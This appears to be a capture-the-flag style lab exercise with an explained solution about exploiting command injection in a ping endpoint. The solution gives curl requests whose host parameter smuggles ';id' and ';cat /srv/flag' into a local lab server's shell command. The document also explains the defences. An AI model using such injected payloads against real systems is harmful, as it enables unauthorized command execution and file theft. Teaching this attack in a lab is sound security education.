Break the ping box
The /api/ping endpoint runs your input through a shell. Exploit it: run a command of your own, work out which user you're running as, and read the flag stored at /srv/flag. Save whatever you retrieve so you don't lose it.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
You turned a ping button into remote command execution. The lesson generalises far beyond this one app: any time user input is pasted into a command the server runs, an attacker can append their own commands. The fixes are to never build shell strings from input (pass arguments as a list, no shell), validate strictly, and run with the least privilege possible — which is why this app ran as the low-privileged www user, not root.
Show solution
cd /home/student
curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1;id'
curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1;cat%20/srv/flag' -o loot.txt
cat loot.txt